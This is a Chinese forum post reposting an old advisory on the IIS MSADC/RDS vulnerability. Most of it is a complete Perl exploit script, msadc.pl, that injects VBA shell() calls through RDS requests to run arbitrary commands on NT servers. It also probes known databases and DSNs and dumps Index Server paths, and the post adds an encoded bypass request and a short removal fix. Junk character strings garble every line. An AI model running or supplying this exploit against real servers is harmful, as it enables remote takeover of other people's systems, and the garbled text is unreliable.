社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 166741阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)  `@b+'L  
<LIL{g0eX  
涉及程序: r9sW:cM:e  
Microsoft NT server aB;syl{  
{1;j1|CI  
描述: WLd{+y5#  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ,di'279|  
0'wB':v  
详细: im_WTZz2P  
如果你没有时间读详细内容的话,就删除: (|I:d!>:U  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 1T a48  
有关的安全问题就没有了。 @cA`del  
U8KB @E  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 5:6as^i:b  
S Cs@Q  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 tT'*Uu5  
关于利用ODBC远程漏洞的描述,请参看: G.OAzA13!t  
v=zqj}T  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R5c Ya  
O}I8P")m  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 D::$YR ~R  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp XW w=3$  
OvqCuX  
这里不再论述。 ~s{yh-B  
wYQTG*&h  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: bmgK6OyVR  
v!n\A}^:  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 4bLk+EY4A  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 2A7g}V  
2`hc0 IE  
-.-j e"E  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 0g}+%5]yg  
c Q:.V  
#!perl ,S 5tkTa  
# Dnn$-W|NC  
# MSADC/RDS 'usage' (aka exploit) script X~|P  
# eYZ{mo7  
# by rain.forest.puppy c6FKpdn%  
# 6REv(E]  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me _9!*laR!2  
# beta test and find errors! qu- !XC0p  
`##qf@M  
use Socket; use Getopt::Std; |M]#D0v  
getopts("e:vd:h:XR", \%args); [ fvip_Pt  
5ws|4V  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; u=NpL^6s<  
q}gj.@Q"  
if (!defined $args{h} && !defined $args{R}) { 37GJ}%Qs  
print qq~ i(P/=B  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 5N "fD{v{  
-h <host> = host you want to scan (ip or domain) 0!X;C!v;  
-d <seconds> = delay between calls, default 1 second M,xhQ{eBY  
-X = dump Index Server path table, if available VeK^hz R^Z  
-v = verbose #v!(uuq,  
-e = external dictionary file for step 5 7L~LpB  
<Y~?G:v6+  
Or a -R will resume a command session k$ k /U  
4/YEkD  
~; exit;} /*3[9,  
G{$(t\>8  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; :K&>  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 62lG,y_L  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} mUW|4zl i}  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); uim4,Zm{  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Q79& Q04XN  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } \Y.&G,?  
%qA@)u53  
if (!defined $args{R}){ $ret = &has_msadc; {TT@Mkz_QC  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} F02S(WWo;  
Z#7T!/28  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" t}m6];  
. "cmd /c "; S~jl%]  
$in=<STDIN>; chomp $in; 0l-m:6  
$command="cmd /c " . $in ; )o!y7MTl  
|jB]5ciT  
if (defined $args{R}) {&load; exit;} 0v6(A4Y  
wI'8B{[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; bz!9\D|h  
&try_btcustmr; *&p`8:  
=hE5 ?}EP+  
print "\nStep 2: Trying to make our own DSN..."; p x;X}Cd  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 0l#{7^e  
Ao%E]M  
print "\nStep 3: Trying known DSNs..."; sO7$b@"u.  
&known_dsn; cU}j Whu  
v~-z["=}!  
print "\nStep 4: Trying known .mdbs..."; 4u5^I;4pL  
&known_mdb; d;(&_;  
^bpxhf x  
if (defined $args{e}){ M$O}roOa  
print "\nStep 5: Trying dictionary of DSN names..."; Hb&-pR@e\?  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } }\5^$[p  
;u;YfOr  
print "Sorry Charley...maybe next time?\n"; 51.! S  
exit; arf`%9M  
5=CLR  
############################################################################## q 4_&C&7  
2^ 'X  
sub sendraw { # ripped and modded from whisker /'U/rjb_h{  
sleep($delay); # it's a DoS on the server! At least on mine... 0Eq.l<  
my ($pstr)=@_; M ,.++W\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ]>h2h?2te  
die("Socket problems\n"); d!) &@k  
if(connect(S,pack "SnA4x8",2,80,$target)){ =L~,HS(l,  
select(S); $|=1; PN0l#[{EN  
print $pstr; my @in=<S>; 7NG^X"N{Ul  
select(STDOUT); close(S); Nt42v  
return @in; k>#,1GbNZy  
} else { die("Can't connect...\n"); }} GCul6,w  
}x % ;y]S  
############################################################################## DmAMr=p  
`+]9+:tS  
sub make_header { # make the HTTP request r-]Au -  
my $msadc=<<EOT =g' 7 xA  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 H~RWM'_  
User-Agent: ACTIVEDATA |x3&#(Tf  
Host: $ip Gad! }dz  
Content-Length: $clen Y}(#kqh>  
Connection: Keep-Alive "^~f.N  
z<_{m 4I;  
ADCClientVersion:01.06 * EOIgQp  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 *{:FPmDU  
#: L|-_=a  
--!ADM!ROX!YOUR!WORLD! k{Yj!C> #  
Content-Type: application/x-varg bnLvJ]i)  
Content-Length: $reqlen Fs_V3i3|L  
V_Kpb*3  
EOT @u3K.}i:g  
; $msadc=~s/\n/\r\n/g; t6_6Bl:  
return $msadc;} Y cE:KRy  
{c|nIwdB  
############################################################################## KZeRbq2 jJ  
jy{T=Nb  
sub make_req { # make the RDS request ohusL9D  
my ($switch, $p1, $p2)=@_; <9eQ  
my $req=""; my $t1, $t2, $query, $dsn; a?E]-Zf  
/Q5pA n-u  
if ($switch==1){ # this is the btcustmr.mdb query 1eI >Yy>}  
$query="Select * from Customers where City=" . make_shell(); yi%A*q~MT  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . /ow/)\/}  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} bmna*!l^M  
T=: &W3  
elsif ($switch==2){ # this is general make table query =K{$?%"  
$query="create table AZZ (B int, C varchar(10))"; zAt!jP0E  
$dsn="$p1";} 1t=Y+|vA9  
"t~I;%$[  
elsif ($switch==3){ # this is general exploit table query $bh2zKB)  
$query="select * from AZZ where C=" . make_shell(); ovzIJbf  
$dsn="$p1";} {4ON2{8;4  
Ps Qq ^/  
elsif ($switch==4){ # attempt to hork file info from index server @^} % o-:  
$query="select path from scope()"; MX6*waQ-<  
$dsn="Provider=MSIDXS;";} u].=b$wHHM  
F%bv vw*(  
elsif ($switch==5){ # bad query Xj"/6|X  
$query="select"; akgXI^K  
$dsn="$p1";} k=H{gt  
ST)l0c+Y>  
$t1= make_unicode($query); |uV1S^ !A  
$t2= make_unicode($dsn); rAIX(2@cR_  
$req = "\x02\x00\x03\x00"; n' 73DApW  
$req.= "\x08\x00" . pack ("S1", length($t1)); B o.x  
$req.= "\x00\x00" . $t1 ; (\.[pj%-O  
$req.= "\x08\x00" . pack ("S1", length($t2)); _)p@;vGV  
$req.= "\x00\x00" . $t2 ; COc1np  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; fo&q/;l\  
return $req;} _A kc7"  
7<x0LW  
############################################################################## djqSW9  
X|L.fB=  
sub make_shell { # this makes the shell() statement oiJa1X  
return "'|shell(\"$command\")|'";} H.XD8qi3W  
LpaY M d;  
##############################################################################  /8Bh  
6.~HbN  
sub make_unicode { # quick little function to convert to unicode M3K+;-n^  
my ($in)=@_; my $out; )"|'=  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } f,d @*E  
return $out;} - 4'yp  
&qz&@!`  
############################################################################## &E.0!BuqV  
e%`gD*8  
sub rdo_success { # checks for RDO return success (this is kludge) ?JzLn,&  
my (@in) = @_; my $base=content_start(@in); ($7>\"+Tl  
if($in[$base]=~/multipart\/mixed/){ Se*ZQtwE  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} @]6)j&  
return 0;} ?(*KQ#d  
8^\DQ&D  
############################################################################## xE;4#+_I  
r-^Ju6w{  
sub make_dsn { # this makes a DSN for us K7M7T5<  
my @drives=("c","d","e","f"); YUfuS3sX}  
print "\nMaking DSN: "; Ec8Y}C,{7<  
foreach $drive (@drives) { Ayc}uuu  
print "$drive: "; LDBxw  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ,8;;#XR3  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="  DC]FY|ff  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); tQ5gmj  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; #E5Sc\,  
return 0 if $2 eq "404"; # not found/doesn't exist $V]D7kDph*  
if($2 eq "200") { W!4GL>9m}A  
foreach $line (@results) { &?9p\oY[  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} } !pC}m  
} return 0;} #lM!s  
=4\|'V15  
############################################################################## ?q7V B  
@'?<9 2A  
sub verify_exists { k <A>J-|  
my ($page)=@_; BEg%u)"([  
my @results=sendraw("GET $page HTTP/1.0\n\n"); qdCa]n!d  
return $results[0];} >sm< < gVb  
` R!0uRu  
############################################################################## B*zb0hdo:  
w)&]k#r  
sub try_btcustmr { r5(OH3  
my @drives=("c","d","e","f"); 3VCyq7 B^  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .P# c/SQp  
J}i$ny_3OB  
foreach $dir (@dirs) { FGr0W|?v  
print "$dir -> "; # fun status so you can see progress +"?K00*(  
foreach $drive (@drives) { ='pssdB  
print "$drive: "; # ditto U/&?rY^|  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; - tF5$pb'  
$reqlenlen=length( "$reqlen" ); . 7g^w+W  
$clen= 206 + $reqlenlen + $reqlen; AXH4jQw  
@>qzRo  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); d}>Nl$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ~fAdOh  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} {3$ge  
bRLmJt98P  
############################################################################## "h_n/}r=  
HMgZ& v  
sub odbc_error { JXftQOn  
my (@in)=@_; my $base; 2OAh7'8<  
my $base = content_start(@in); >LgV[D#=&o  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this }qc[ysDK]  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; |B)e! #  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j &,vju  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; A8e b{qv  
return $in[$base+4].$in[$base+5].$in[$base+6];} &hB~Z(zS!  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ^KF  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $*xnq%A  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Z #w1,n88  
Fu )V2[TY  
############################################################################## |; $fy-  
qO Zc}J0  
sub verbose { AcrbR&cvG  
my ($in)=@_; !b rN)b)f  
return if !$verbose; =XQ3sk6U  
print STDOUT "\n$in\n";} n6O1\}YB  
UG Fx  
############################################################################## 9D(M>'Bh  
L;,Nh  
sub save { q0`Vw%  
my ($p1, $p2, $p3, $p4)=@_; l"IBt:  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; %Q1v8l.}  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; R@=ve %a-  
close OUT;} Rk"VFe>r  
viD+~j18  
############################################################################## , *e^,|#  
8BE OE<  
sub load { RW,ew!Z  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; z\_q`43U7  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); $SG^, !!&A  
@p=<IN>; close(IN); qq[2h~6P]  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); }!Qo wG   
$target= inet_aton($ip) || die("inet_aton problems");  Tx/  
print "Resuming to $ip ...";  Ca@[]-_H  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; -R~;E[ {%  
if($p[1]==1) {  O7s0M?4  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; #T#&qo#  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; z.e%AcX  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 1 YMaUyL 1  
if (rdo_success(@results)){print "Success!\n";} &^ =t%A%#  
else { print "failed\n"; verbose(odbc_error(@results));}} 0AJ6g@ t[  
elsif ($p[1]==3){ asQ pVP  
if(run_query("$p[3]")){ wy&VClT  
print "Success!\n";} else { print "failed\n"; }} : 60PO  
elsif ($p[1]==4){ Arir=q^2  
if(run_query($drvst . "$p[3]")){ L@CN0ezQs  
print "Success!\n"; } else { print "failed\n"; }} lH:TE=|4  
exit;} >^|\wy  
"!E(= W?  
############################################################################## Mr2dhSQ !  
f@\ k_  
sub create_table { Q`5jEtu#,  
my ($in)=@_; H!Uy4L~>  
$reqlen=length( make_req(2,$in,"") ) - 28; C([;JO 11[  
$reqlenlen=length( "$reqlen" ); [%P_ Y/  
$clen= 206 + $reqlenlen + $reqlen; kL*Q})  
my @results=sendraw(make_header() . make_req(2,$in,"")); T6O Ib  
return 1 if rdo_success(@results); \dIIZSN  
my $temp= odbc_error(@results); verbose($temp); lCWk)m8  
return 1 if $temp=~/Table 'AZZ' already exists/; OjJlGElw  
return 0;} >AN`L`%2  
o2a`4K  
############################################################################## .H7"nt^  
$w+g%y)  
sub known_dsn { [g&Q_+,j  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go wC@4`h\U  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", `5[VO  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", <^n9?[m*  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); <X|"5/h  
.Pxb9mW  
foreach $dSn (@dsns) { i1FFf[[L  
print "."; >/5D/}4  
next if (!is_access("DSN=$dSn")); A){kitx-i)  
if(create_table("DSN=$dSn")){ :Gy .P  
print "$dSn successful\n"; Z0b1E  
if(run_query("DSN=$dSn")){ _V-@95fK  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =2J+}ac  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Zm&Zz^s  
""CJlqU  
############################################################################## *7BY$q  
RTLu]Bry  
sub is_access { "Q2[A]4E  
my ($in)=@_; 6$fC R  
$reqlen=length( make_req(5,$in,"") ) - 28; cl:*Q{(Cjk  
$reqlenlen=length( "$reqlen" ); AGK+~EjL@  
$clen= 206 + $reqlenlen + $reqlen; g@B9i =  
my @results=sendraw(make_header() . make_req(5,$in,"")); #\%Gr tM  
my $temp= odbc_error(@results); t~sW]<qjp  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); MSRIG-  
return 0;} -Ah\a0z  
{\C$Bz  
############################################################################## /YUf(' b  
x9-K}s]%  
sub run_query { wnt^WW=a[  
my ($in)=@_; ]y.,J  
$reqlen=length( make_req(3,$in,"") ) - 28; EU>@k{Qt  
$reqlenlen=length( "$reqlen" ); -_>c P  
$clen= 206 + $reqlenlen + $reqlen; 8ru@ 8|r  
my @results=sendraw(make_header() . make_req(3,$in,"")); F3';oyy  
return 1 if rdo_success(@results); rAP+nh ans  
my $temp= odbc_error(@results); verbose($temp); N|1J@"H  
return 0;}  78qf  
LP=!u~?  
############################################################################## =E4nNL?  
5jx{O${u  
sub known_mdb { OK3B6T5w=  
my @drives=("c","d","e","f","g"); wT*`Od8w  
my @dirs=("winnt","winnt35","winnt351","win","windows"); K# _plpr  
my $dir, $drive, $mdb; z_A%>E4  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; WYEvW<Hv  
3i35F.=X,  
# this is sparse, because I don't know of many ^]E| >~\  
my @sysmdbs=( "\\catroot\\icatalog.mdb", /*r MveT  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", oDKgW?x  
"\\system32\\certmdb.mdb", #z~D1Zl  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% .(1=iL_3e  
<C${1FO7If  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ?G!^ |^S*  
"\\cfusion\\cfapps\\forums\\forums_.mdb", `n5RDz/f0  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", z0g$+bhy  
"\\cfusion\\cfapps\\security\\realm_.mdb", bgYM  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", $Cc4Sggq  
"\\cfusion\\database\\cfexamples.mdb", ; h/Y9uYn  
"\\cfusion\\database\\cfsnippets.mdb", _IT,>#ba  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 8b6:n1<fn  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", F^`sIrZvs  
"\\cfusion\\brighttiger\\database\\cleam.mdb", P5] cEZ n  
"\\cfusion\\database\\smpolicy.mdb", *$^M E  
"\\cfusion\\database\cypress.mdb", nU`vj`K   
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",  "thfd"-  
"\\website\\cgi-win\\dbsample.mdb", szmjp{g0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Br-y`s~cP  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" g\ <Lb  
); #these are just ^9cqT2:t  
foreach $drive (@drives) { P 3lN ns3  
foreach $dir (@dirs){ 4fP>;9[F  
foreach $mdb (@sysmdbs) { r10)1`[  
print "."; c!w4N5aM  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ !ZSC"  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; c{FvMV2em  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ >A2& Mjo  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Ge(r6"%7  
} else { print "Something's borked. Use verbose next time\n"; }}}}} pC#Z]_k  
LNg[fF^:  
foreach $drive (@drives) { }c&Zv#iO6  
foreach $mdb (@mdbs) { $JX_e  
print "."; %,6@Uu#%6  
if(create_table($drv . $drive . $dir . $mdb)){ N_/&xHw  
print "\n" . $drive . $dir . $mdb . " successful\n"; 0FEb[+N  
if(run_query($drv . $drive . $dir . $mdb)){ Eq'{uV:  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; gK#a C [  
} else { print "Something's borked. Use verbose next time\n"; }}}} e^Jy-?E  
} f"k/j?e*  
j}0*`[c  
############################################################################## <`6-J `.  
T3M 4r|  
sub hork_idx { QI`Z[caF  
print "\nAttempting to dump Index Server tables...\n"; XUW~8P  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; U$0#j  
$reqlen=length( make_req(4,"","") ) - 28; __3Cjo^6&  
$reqlenlen=length( "$reqlen" ); @["Vzg!I6"  
$clen= 206 + $reqlenlen + $reqlen; y}#bCRy~.A  
my @results=sendraw2(make_header() . make_req(4,"","")); D }b+#G(m[  
if (rdo_success(@results)){ eN}FBX#'  
my $max=@results; my $c; my %d; zZ;tSKL  
for($c=19; $c<$max; $c++){ IGv>0LOd@  
$results[$c]=~s/\x00//g; V4V TP]'n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; "8{u_+_B*  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; QKCk. 0Xe  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; /\#qz.c2K  
$d{"$1$2"}="";} N;Hf7K  
foreach $c (keys %d){ print "$c\n"; } 1*>a  
} else {print "Index server doesn't seem to be installed.\n"; }} S1`+r0Fk~n  
0B3*\ H}5  
############################################################################## eDTEy;^o  
)O2^?Q quS  
sub dsn_dict { (qB$I\  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); YW/YeID  
while(<IN>){ 3f M  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; siyJjE)}w  
next if (!is_access("DSN=$dSn")); '<1T>|`/t  
if(create_table("DSN=$dSn")){ >@ge[MuS  
print "$dSn successful\n"; N'2u`br4KP  
if(run_query("DSN=$dSn")){ fa<83<.D  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [!bTko>rSB  
print "Something's borked. Use verbose next time\n";}}} <niHJ*  
print "\n"; close(IN);} RQ/X{<lQ)  
Qj 0@^LA  
############################################################################## )5yZSdA  
tQ=U22&7  
sub sendraw2 { # ripped and modded from whisker Gi;e Drgj~  
sleep($delay); # it's a DoS on the server! At least on mine... !7 *X{D v  
my ($pstr)=@_; 4fpz;2%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || B.&q]CA v-  
die("Socket problems\n"); `<\AnhNW]I  
if(connect(S,pack "SnA4x8",2,80,$target)){ T(3"bS.,  
print "Connected. Getting data"; eeB^c/k(P  
open(OUT,">raw.out"); my @in; 6S`eN\s  
select(S); $|=1; print $pstr; 9^Wj<  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 5F <zW-;  
close(OUT); select(STDOUT); close(S); return @in; (Ptv#LSUX  
} else { die("Can't connect...\n"); }} ,gkxZ{Eh  
h-jea1m  
##############################################################################  D&N5)  
t3U*rr|A  
sub content_start { # this will take in the server headers nC[L"%E|se  
my (@in)=@_; my $c; zL)m!:_  
for ($c=1;$c<500;$c++) { trgj]|?M  
if($in[$c] =~/^\x0d\x0a/){ DSET!F;PG  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Kw-E%7gh4c  
else { return $c+1; }}} ^5"s3Qn  
return -1;} # it should never get here actually )+cP8$n6L  
| L fH,6  
############################################################################## H;IG\k6C  
4b6$Mj  
sub funky { (*"R"Y  
my (@in)=@_; my $error=odbc_error(@in); &?YQVwsN  
if($error=~/ADO could not find the specified provider/){ atW;S99#  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; J. {[>  
exit;} pw&l.t6.  
if($error=~/A Handler is required/){ v*]|1q%/  
print "\nServer has custom handler filters (they most likely are patched)\n"; HjV83S;  
exit;} :K2N7?shA  
if($error=~/specified Handler has denied Access/){ Q1s`d?P/`  
print "\nServer has custom handler filters (they most likely are patched)\n"; &t%ICz&3  
exit;}} |\N[EM%.@  
46}/C5  
############################################################################## PtmdUHvD  
}bix+/]  
sub has_msadc { FV:{lC{h~  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); HOu<,9?>Q  
my $base=content_start(@results); rD<@$KpP  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); gD&%$&q  
return 0;} zy5@K)  
\{NeDv{A  
######################## >JC.qjA  
F/@#yQv?  
N:gS]OI*  
解决方案: rj<%_d'Z`  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll hDVD@b  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ^@L  
C5;"mo-  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五